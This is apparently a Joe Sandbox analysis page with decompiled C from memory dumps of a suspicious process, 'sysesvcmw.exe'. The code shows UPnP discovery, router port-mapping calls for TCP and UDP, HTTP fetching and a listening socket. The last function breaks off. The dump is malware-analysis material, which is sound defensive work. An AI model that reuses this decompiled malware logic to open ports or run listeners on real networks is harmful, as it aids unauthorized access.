Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterExchangeInterlocked
String ID:
API String ID: 2223660684-0
Opcode ID: e7775c6e724d18b6b16e4560ed2e445d19ec959f5a48ac8fdc33ada78c93d50a
Instruction ID: e6ac6c1a31680b607f42abd4f6290106e839e9b4de79647b68f4cbd1092355c7
Opcode Fuzzy Hash: e7775c6e724d18b6b16e4560ed2e445d19ec959f5a48ac8fdc33ada78c93d50a
Instruction Fuzzy Hash: 4001DF35242204AFC3209F63ED44ADB73ACAB85B21B00483EE946A3681CB39E441CB38

Uniqueness

Uniqueness Score: -1.00%

Function 0040BDD0 Relevance: 6.0, APIs: 4, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040BDD0(intOrPtr* _a4) {
				intOrPtr* _v8;
				signed int _v12;
				void* _t20;

				if(_a4 != 0) {
					_v8 = _a4;
					EnterCriticalSection(_v8 + 4);
					_v12 = 0;
					while(_v12 <  *_v8) {
						_t11 = _v8 + 0x1c; // 0xfe5ae850
						CloseHandle( *( *_t11 + _v12 * 4));
						_v12 = _v12 + 1;
					}
					LeaveCriticalSection(_v8 + 4);
					DeleteCriticalSection(_v8 + 4);
					_t18 = _v8 + 0x1c; // 0xfe5ae850
					E00408C70( *_t18);
					return E00408C70(_a4);
				}
				return _t20;
			}

0x0040bdda
0x0040bddf
0x0040bde9
0x0040bdef
0x0040be01
0x0040be0e
0x0040be18
0x0040bdfe
0x0040bdfe
0x0040be27
0x0040be34
0x0040be3d
0x0040be41
0x00000000
0x0040be52
0x0040be58

APIs

EnterCriticalSection.KERNEL32(0040EC80), ref: 0040BDE9
CloseHandle.KERNEL32(0040EC84), ref: 0040BE18
LeaveCriticalSection.KERNEL32(0040EC80), ref: 0040BE27
DeleteCriticalSection.KERNEL32(0040EC80), ref: 0040BE34

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: CriticalSection$CloseDeleteEnterHandleLeave
String ID:
API String ID: 3102160386-0
Opcode ID: d585c410c8feea3006216bdaf8938572b99092e330cb370cdf972aaff2801c2a
Instruction ID: b4a8df68a5ba6ddb4f07b24493b5635e0034f74153efd53aa39cf24915a517ea
Opcode Fuzzy Hash: d585c410c8feea3006216bdaf8938572b99092e330cb370cdf972aaff2801c2a
Instruction Fuzzy Hash: EF111E74900208EBDB04DF94D984A9DB7B5FF45309F2081A9E90667341DB35EE90DB99

Uniqueness

Uniqueness Score: -1.00%

Function 00405910 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00405910(intOrPtr _a4) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _v20;
				void* _v24;
				intOrPtr* _v28;
				void* _v32;
				short _v36;
				char _v40;
				intOrPtr _t95;
				intOrPtr _t110;
				void* _t118;
				void* _t199;
				void* _t200;

				_v28 = 0;
				_v32 = 0;
				_v16 = 0;
				_v12 = 0;
				_v24 = 0;
				_v8 = 0;
				_v20 = 0;
				while(1) {
					_t95 = E004058C0(0x4120d4, 0x4120e4);
					_t200 = _t199 + 8;
					_v28 = _t95;
					if(_v28 == 0) {
						break;
					}
					_push( &_v32);
					_push(_v28);
					if( *((intOrPtr*)( *((intOrPtr*)( *_v28 + 0x1c))))() == 0) {
						_push( &_v16);
						_push(_v32);
						if( *((intOrPtr*)( *((intOrPtr*)( *_v32 + 0x1c))))() == 0) {
							_push( &_v36);
							_push(_v16);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v16 + 0x20))))() == 0) {
								if(_v36 == 0xffffffff) {
									_push( &_v12);
									_push(_v16);
									if( *((intOrPtr*)( *((intOrPtr*)( *_v16 + 0x50))))() == 0) {
										_push( &_v24);
										_push(_a4);
										_push(_v12);
										if( *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x28))))() != 0) {
											_t110 = E004058C0(0x4120f4, 0x412104);
											_t199 = _t200 + 8;
											_v24 = _t110;
											if(_v24 != 0) {
												__imp__#2(L"Microsoft Corporation");
												_v8 = _t110;
												if(_v8 != 0) {
													_push(_v8);
													_push(_v24);
													if( *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x20))))() == 0) {
														_push(_a4);
														_push(_v24);
														if( *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x28))))() == 0) {
															_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x38))))(_v24, 0);
															if(_t118 == 0) {
																 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x20))))(_v12, _v24);
																_t118 = 0;
																if(0 != 0) {
																	continue;
																}
																L34:
																if(_v20 != 0) {
																	_t118 = E00408C70(_v20);
																}
																if(_v8 != 0) {
																	__imp__#6(_v8);
																}
																if(_v24 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 8))))(_v24);
																}
																if(_v12 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v12 + 8))))(_v12);
																}
																if(_v16 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v16 + 8))))(_v16);
																}
																if(_v32 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v32 + 8))))(_v32);
																}
																if(_v28 == 0) {
																	return _t118;
																} else {
																	return  *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
																}
															}
															goto L34;
														}
														goto L34;
													}
													goto L34;
												}
												goto L34;
											}
											goto L34;
										}
										_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x44))))(_v24,  &_v36);
										if(_t118 == 0) {
											if(_v36 != 0xffffffff) {
												 *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x48))))(_v24, 0xffffffff);
												_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x38))))(_v24, 0);
											} else {
												_v40 = 0;
												_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x34))))(_v24,  &_v40);
												if(_t118 == 0 && _v40 != 0) {
													_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x38))))(_v24, 0);
												}
											}
										}
										goto L34;
									}
									goto L34;
								}
								goto L34;
							}
							goto L34;
						}
						goto L34;
					}
					goto L34;
				}
				goto L34;
			}

0x00405916
0x0040591d
0x00405924
0x0040592b
0x00405932
0x00405939
0x00405940
0x00405947
0x00405951
0x00405956
0x00405959
0x00405960
0x00000000
0x00000000
0x0040596a
0x00405973
0x0040597b
0x00405985
0x0040598e
0x00405996
0x004059a0
0x004059a9
0x004059b1
0x004059bf
0x004059c9
0x004059d2
0x004059da
0x004059e4
0x004059e8
0x004059f1
0x004059f9
0x00405a83
0x00405a88
0x00405a8b
0x00405a92
0x00405a9b
0x00405aa1
0x00405aa8
0x00405aaf
0x00405ab8
0x00405ac0
0x00405ac7
0x00405ad0
0x00405ad8
0x00405aea
0x00405aee
0x00405b02
0x00405b04
0x00405b06
0x00000000
0x00000000
0x00405b0c
0x00405b10
0x00405b16
0x00405b1b
0x00405b22
0x00405b28
0x00405b28
0x00405b32
0x00405b40
0x00405b40
0x00405b46
0x00405b54
0x00405b54
0x00405b5a
0x00405b68
0x00405b68
0x00405b6e
0x00405b7c
0x00405b7c
0x00405b82
0x00405b95
0x00405b84
0x00000000
0x00405b90
0x00405b82
0x00000000
0x00405af0
0x00000000
0x00405ada
0x00000000
0x00405ac2
0x00000000
0x00405aaa
0x00000000
0x00405a94
0x00405a0b
0x00405a0f
0x00405a1d
0x00405a62
0x00405a72
0x00405a1f
0x00405a1f
0x00405a36
0x00405a3a
0x00405a50
0x00405a50
0x00405a52
0x00405a74
0x00000000
0x00405a0f
0x00000000
0x004059dc
0x00000000
0x004059c1
0x00000000
0x004059b3
0x00000000
0x00405998
0x00000000
0x0040597d
0x00000000

APIs

Part of subcall function 004058C0: CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 004058E0

SysFreeString.OLEAUT32(00000000), ref: 00405B28

Strings

Microsoft Corporation, xrefs: 00405A96

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: CreateFreeInstanceString
String ID: Microsoft Corporation
API String ID: 586785272-3838278685
Opcode ID: 5101201dcff8a4348e4f4b8b21c8e9287c00567db6cdf25e3dc099c263020228
Instruction ID: b966d8a815279bea9682a753b9e4a3ce538f0dcc0c86578e863b9189ac0295eb
Opcode Fuzzy Hash: 5101201dcff8a4348e4f4b8b21c8e9287c00567db6cdf25e3dc099c263020228
Instruction Fuzzy Hash: 1691BA75A0050ADFCB04DB98C994EAFB7B5EF88304F208269E515B73A0D778AE41CF65

Uniqueness

Uniqueness Score: -1.00%

Function 0040CC30 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E0040CC30(char* _a4) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr* _v20;
				void* _v24;
				void* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _t44;
				intOrPtr* _t46;
				intOrPtr _t59;
				intOrPtr _t62;
				void* _t88;
				void* _t89;
				void* _t90;

				_v16 = 0;
				_t44 = E0040C260(_a4,  &_v8);
				_t89 = _t88 + 8;
				_v12 = _t44;
				if(_v12 != 0) {
					_t46 = E0040C000(_v12);
					_t90 = _t89 + 4;
					_v20 = _t46;
					if(_v20 != 0) {
						_v24 = 0;
						_push( &_v24);
						_push(_v20);
						if( *((intOrPtr*)( *((intOrPtr*)( *_v20 + 0xb4))))() == 0 && _v24 != 0) {
							_v28 = 0;
							_push( &_v28);
							_push(_v24);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x30))))() == 0 && _v28 != 0) {
								_t59 = E0040CBE0(_v28);
								_t90 = _t90 + 4;
								_v32 = _t59;
								if(_v32 != 0) {
									_t62 = E0040CAC0(_v28);
									_t90 = _t90 + 4;
									_v36 = _t62;
									if(_v36 != 0) {
										E0040B3E0( &_v16, "%S%S", _v32);
										_t90 = _t90 + 0x10;
										__imp__#6(_v36, _v36);
									}
									__imp__#6(_v32);
								}
								 *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
							}
							 *((intOrPtr*)( *((intOrPtr*)( *_v24 + 8))))(_v24);
						}
						 *((intOrPtr*)( *((intOrPtr*)( *_v20 + 8))))(_v20);
					}
					E00408C70(_v12);
				}
				return _v16;
			}

0x0040cc36
0x0040cc45
0x0040cc4a
0x0040cc4d
0x0040cc54
0x0040cc5e
0x0040cc63
0x0040cc66
0x0040cc6d
0x0040cc73
0x0040cc7d
0x0040cc86
0x0040cc91
0x0040cca1
0x0040ccab
0x0040ccb4
0x0040ccbc
0x0040ccc8
0x0040cccd
0x0040ccd0
0x0040ccd7
0x0040ccdd
0x0040cce2
0x0040cce5
0x0040ccec
0x0040ccff
0x0040cd04
0x0040cd0b
0x0040cd0b
0x0040cd15
0x0040cd15
0x0040cd27
0x0040cd27
0x0040cd35
0x0040cd35
0x0040cd43
0x0040cd43
0x0040cd49
0x0040cd4e
0x0040cd57

APIs

Part of subcall function 0040C260: memset.NTDLL ref: 0040C288
Part of subcall function 0040C260: InternetCrackUrlA.WININET(0040D079,00000000,10000000,0000003C), ref: 0040C2D8
Part of subcall function 0040C260: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040C2E8
Part of subcall function 0040C260: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040C321
Part of subcall function 0040C260: HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040C357
Part of subcall function 0040C260: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040C37F
Part of subcall function 0040C260: InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040C3C8
Part of subcall function 0040C260: InternetCloseHandle.WININET(00000000), ref: 0040C457

Part of subcall function 0040C000: SysAllocString.OLEAUT32(00000000), ref: 0040C02E
Part of subcall function 0040C000: CoCreateInstance.OLE32(00410318,00000000,00004401,00410308,00000000), ref: 0040C056
Part of subcall function 0040C000: SysFreeString.OLEAUT32(00000000), ref: 0040C0F1

SysFreeString.OLEAUT32(00000000), ref: 0040CD0B
SysFreeString.OLEAUT32(00000000), ref: 0040CD15

Strings

%S%S, xrefs: 0040CCF6

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: Internet$String$Free$HttpOpenRequest$AllocCloseConnectCrackCreateFileHandleInstanceReadSendmemset
String ID: %S%S
API String ID: 1017111014-3267608656
Opcode ID: 86f6504e5494efba9a820ad851abc2735c65b1deacf7d2d6193f3942743fcb34
Instruction ID: f6c0dd48525cf9db1308fcfd74a329a1c42d5f2fc6292bf47869dbcd9c674937
Opcode Fuzzy Hash: 86f6504e5494efba9a820ad851abc2735c65b1deacf7d2d6193f3942743fcb34
Instruction Fuzzy Hash: BB4129B5E00109DFDB04DBE4D885AEFB7B9BF88304F104669E505B7390D738AA45CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040D020 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040D020() {
				intOrPtr _v8;
				char _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _t20;
				intOrPtr _t26;
				intOrPtr _t31;
				void* _t36;
				void* _t37;

				__imp__CoInitializeEx(0, 2);
				_v12 = 0;
				_t20 = E0040C580( &_v12,  &_v12);
				_t37 = _t36 + 4;
				_v8 = _t20;
				if(_v8 != 0) {
					_v16 = 0;
					while(_v16 < _v8) {
						_t20 = E0040CC30( *((intOrPtr*)(_v12 + _v16 * 4)));
						_t37 = _t37 + 4;
						 *0x416e24 = _t20;
						if( *0x416e24 == 0) {
							_v16 = _v16 + 1;
							continue;
						}
						_v20 = E00409540();
						_t31 =  *0x416e24; // 0x0
						E0040CFA0(_t31, _t31, "TCP", 0x9e34, _v20);
						_t26 =  *0x416e24; // 0x0
						_t20 = E0040CFA0(_t31, _t26, "UDP", 0x9e34, _v20);
						_t37 = _t37 + 0x20;
						break;
					}
					return E00408D90(_t20, _v8, _v12, _v8);
				}
				return _t20;
			}

0x0040d02a
0x0040d030
0x0040d03b
0x0040d040
0x0040d043
0x0040d04a
0x0040d050
0x0040d062
0x0040d074
0x0040d079
0x0040d07c
0x0040d088
0x0040d05f
0x00000000
0x0040d05f
0x0040d08f
0x0040d0a0
0x0040d0a7
0x0040d0bd
0x0040d0c3
0x0040d0c8
0x00000000
0x0040d0c8
0x00000000
0x0040d0dc
0x0040d0e2

APIs

CoInitializeEx.OLE32(00000000,00000002), ref: 0040D02A

Part of subcall function 0040C580: socket.WS2_32(00000002,00000002,00000011), ref: 0040C59A
Part of subcall function 0040C580: htons.WS2_32(0000076C), ref: 0040C5D0
Part of subcall function 0040C580: inet_addr.WS2_32(239.255.255.250), ref: 0040C5DF
Part of subcall function 0040C580: setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040C5FD
Part of subcall function 0040C580: bind.WS2_32(000000FF,?,00000010), ref: 0040C633
Part of subcall function 0040C580: lstrlenA.KERNEL32(00410578,00000000,?,00000010), ref: 0040C64C
Part of subcall function 0040C580: sendto.WS2_32(000000FF,00410578,00000000), ref: 0040C65B
Part of subcall function 0040C580: ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040C675

Part of subcall function 0040CC30: SysFreeString.OLEAUT32(00000000), ref: 0040CD0B
Part of subcall function 0040CC30: SysFreeString.OLEAUT32(00000000), ref: 0040CD15

Strings

UDP, xrefs: 0040D0B8
TCP, xrefs: 0040D09B

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: FreeString$Initializebindhtonsinet_addrioctlsocketlstrlensendtosetsockoptsocket
String ID: TCP$UDP
API String ID: 1519345861-1097902612
Opcode ID: 014f018b2ad0d604453ca6d4d42fb9b10cc54ad83f4ff0cd62ecb7ebe3116a6f
Instruction ID: d6482cf8f8518ba90fc7d027882e0c52926dc77542800e56e9404f82e9eb0b53
Opcode Fuzzy Hash: 014f018b2ad0d604453ca6d4d42fb9b10cc54ad83f4ff0cd62ecb7ebe3116a6f
Instruction Fuzzy Hash: E811E4B4D01208EBD700EFE4EC45BAE7775AB04308F10866EE505772C2E679AE45CB5A

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: sysesvcmw.exePID: 1384, Parent PID: 680COMMON

Execution Graph

Execution Coverage:	20.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1450
Total number of Limit Nodes:	32

Executed Functions

Function 0040EB00 Relevance: 16.6, APIs: 11, Instructions: 129
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 45%

			E0040EB00(void* __esi) {
				struct _SYSTEM_INFO _v36;
				short _v40;
				char _v77;
				short _v82;
				short _v86;
				short _v90;
				short _v92;
				short _v94;
				short _v96;
				short _v98;
				char _v100;
				void* __edi;
				intOrPtr* _t30;
				void* _t33;
				void* _t36;
				intOrPtr _t37;
				short _t39;
				intOrPtr _t40;
				intOrPtr* _t54;
				void* _t56;
				void* _t58;
				void* _t59;

				_t30 = E00408B00(0x4c);
				_t54 = _t30;
				_t59 = _t58 + 4;
				if(_t54 == 0) {
					return _t30;
				} else {
					 *_t54 = 0x494f4350; // executed
					GetSystemInfo( &_v36); // executed
					_t45 = _v36.dwNumberOfProcessors;
					_t3 = _t54 + 0x20; // 0x20
					 *((intOrPtr*)(_t54 + 4)) = _v36.dwNumberOfProcessors + _t45;
					InitializeCriticalSection(_t3);
					_t33 = CreateEventA(0, 1, 0, 0);
					 *(_t54 + 0x10) = _t33;
					if(_t33 == 0) {
						L12:
						E0040E0E0(_t54);
						return 0;
					}
					_t36 = CreateIoCompletionPort(0xffffffff, 0, 0, 0);
					 *(_t54 + 8) = _t36;
					if(_t36 == 0) {
						goto L12;
					}
					_t37 = E0040BAF0(_t45);
					 *((intOrPtr*)(_t54 + 0xc)) = _t37;
					if(_t37 == 0) {
						goto L12;
					}
					__imp__WSASocketA(2, 1, 6, 0, 0, 1); // executed
					 *((intOrPtr*)(_t54 + 0x14)) = _t37;
					if(_t37 == 0xffffffff) {
						goto L12;
					}
					_v77 = 1;
					__imp__#21(_t37, 0xffff, 4,  &_v77, 1); // executed
					_v94 = 0;
					_v90 = 0;
					_v86 = 0;
					_v82 = 0;
					_t39 = _v40;
					_v96 = 2;
					_v92 = _t39;
					__imp__#9(_v36.dwOemId);
					_v98 = _t39;
					_t40 =  *((intOrPtr*)(_t54 + 0x14));
					__imp__#2(_t40,  &_v100, 0x10); // executed
					if(_t40 == 0xffffffff) {
						goto L12;
					}
					__imp__#13( *((intOrPtr*)(_t54 + 0x14)), 0x7fffffff); // executed
					if(_t40 == 0xffffffff) {
						goto L12;
					}
					__imp__WSACreateEvent();
					 *((intOrPtr*)(_t54 + 0x18)) = _t40;
					if(_t40 == 0) {
						goto L12;
					}
					__imp__WSAEventSelect( *((intOrPtr*)(_t54 + 0x14)), _t40, 8); // executed
					if(_t40 == 0xffffffff) {
						goto L12;
					}
					_t56 = 0;
					if( *((intOrPtr*)(_t54 + 4)) > 0) {
						do {
							E0040BBA0( *((intOrPtr*)(_t54 + 0xc)), 0, E0040EA30, _t54, 0, 0); // executed
							_t56 = _t56 + 1;
							_t59 = _t59 + 0x18;
						} while (_t56 <  *((intOrPtr*)(_t54 + 4)));
					}
					E0040BBA0( *((intOrPtr*)(_t54 + 0xc)), 0, E0040E400, _t54, 0, 0); // executed
					return _t54;
				}
			}

APIs

GetSystemInfo.KERNEL32(?), ref: 0040EB23
InitializeCriticalSection.KERNEL32(00000020), ref: 0040EB37
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0040EB45
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0040EB5E

Part of subcall function 0040BAF0: InitializeCriticalSection.KERNEL32(-00000004), ref: 0040BB0E

WSASocketA.WS2_32(00000002,00000001,00000006,00000000,00000000,00000001), ref: 0040EB8B
setsockopt.WS2_32 ref: 0040EBB1
htons.WS2_32(?), ref: 0040EBE1
bind.WS2_32(?,00000004,00000010), ref: 0040EBF7
listen.WS2_32(?,7FFFFFFF), ref: 0040EC0F
WSACreateEvent.WS2_32 ref: 0040EC1A
WSAEventSelect.WS2_32(?,00000000,00000008), ref: 0040EC2E

Part of subcall function 0040BBA0: EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040BBC4
Part of subcall function 0040BBA0: CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040BC1F
Part of subcall function 0040BBA0: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040BC5C
Part of subcall function 0040BBA0: GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040BC67
Part of subcall function 0040BBA0: DuplicateHandle.KERNEL32 ref: 0040BC6E
Part of subcall function 0040BBA0: LeaveCriticalSection.KERNEL32(-00000004), ref: 0040BC82

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CreateCriticalSection$Event$CurrentInitializeProcess$CompletionDuplicateEnterHandleInfoLeavePortSelectSocketSystemThreadbindhtonslistensetsockopt
String ID:
API String ID: 1603358586-0
Opcode ID: 35c833f7b889afcd1c855e48f5f4dfb3cfebec0e696530983b6abda77ec0d31a
Instruction ID: 55e3d3791406c7558891e3ce563330e9b7b343d865a5bfb51454dd4e2dcce5d3
Opcode Fuzzy Hash: 35c833f7b889afcd1c855e48f5f4dfb3cfebec0e696530983b6abda77ec0d31a
Instruction Fuzzy Hash: 65419270644302BBE3209F758C4AF46B7A5BF44710F108A2AF568E62D0E7B5E454CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C580 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 117
networkstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32(00000002,00000002,00000011), ref: 0040C59A
htons.WS2_32(0000076C), ref: 0040C5D0
inet_addr.WS2_32(239.255.255.250), ref: 0040C5DF
setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040C5FD

Part of subcall function 00409540: htons.WS2_32(00000050), ref: 0040956D
Part of subcall function 00409540: socket.WS2_32(00000002,00000001,00000000), ref: 0040958D
Part of subcall function 00409540: connect.WS2_32(000000FF,?,00000010), ref: 004095A6
Part of subcall function 00409540: getsockname.WS2_32(000000FF,?,00000010), ref: 004095D8

bind.WS2_32(000000FF,?,00000010), ref: 0040C633
lstrlenA.KERNEL32(00410578,00000000,?,00000010), ref: 0040C64C
sendto.WS2_32(000000FF,00410578,00000000), ref: 0040C65B
ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040C675

Part of subcall function 0040C490: recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040C4DE
Part of subcall function 0040C490: Sleep.KERNEL32(000003E8), ref: 0040C4EE
Part of subcall function 0040C490: StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040C50B
Part of subcall function 0040C490: StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040C521
Part of subcall function 0040C490: StrChrA.SHLWAPI(?,0000000D), ref: 0040C54E

Strings

239.255.255.250, xrefs: 0040C5DA

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: htonssocket$Sleepbindconnectgetsocknameinet_addrioctlsocketlstrlenrecvfromsendtosetsockopt
String ID: 239.255.255.250
API String ID: 726339449-2186272203
Opcode ID: bc372376455bd7999416a1e07122edefff59cd2e974b536031894a41811314e4
Instruction ID: 76d768ee63a1ab765bf53bd3b80837b0909e15b9bb20e5c949896882321ca4fe
Opcode Fuzzy Hash: bc372376455bd7999416a1e07122edefff59cd2e974b536031894a41811314e4
Instruction Fuzzy Hash: 3C4106B4E00208EBDB14DFE4D889BEEBBB5AF48304F108569E505B7290E7B55A44CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0040D8A0 Relevance: 9.1, APIs: 6, Instructions: 77
networkthreadCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E0040D8A0(intOrPtr __edi, void* __esi) {
				short _v8;
				short _v14;
				short _v18;
				short _v22;
				short _v24;
				short _v26;
				short _v28;
				short _v30;
				char _v33;
				char _v52;
				void* __ebx;
				void* _t21;
				short _t24;
				void* _t25;
				void* _t26;
				void* _t30;
				void* _t31;
				intOrPtr _t38;
				void* _t39;

				_t39 = __esi;
				_t38 = __edi;
				if(__esi == 0 || __edi == 0) {
					return 0;
				} else {
					_t31 = E00408B00(0x24);
					 *_t31 = 0x756470;
					 *(_t31 + 4) = 0;
					_t21 = CreateEventA(0, 1, 0, 0);
					 *(_t31 + 0x10) = _t21;
					__imp__#23(2, 2, 0x11, _t30); // executed
					 *(_t31 + 8) = _t21;
					if(_t21 == 0xffffffff) {
						E0040DD00(_t31, __edi);
						_t31 = 0;
					}
					if(_t31 == 0) {
						L8:
						return _t31;
					}
					_v26 = 0;
					_v22 = 0;
					_v18 = 0;
					_v14 = 0;
					_t24 = _v8;
					_v24 = _t24;
					_v28 = 2;
					__imp__#9(_t39);
					_v30 = _t24;
					_v33 = 1;
					_t25 =  *(_t31 + 8);
					__imp__#21(_t25, 0xffff, 4,  &_v33, 1); // executed
					__imp__#2( *(_t31 + 8),  &_v52, 0x10); // executed
					if(_t25 != 0xffffffff) {
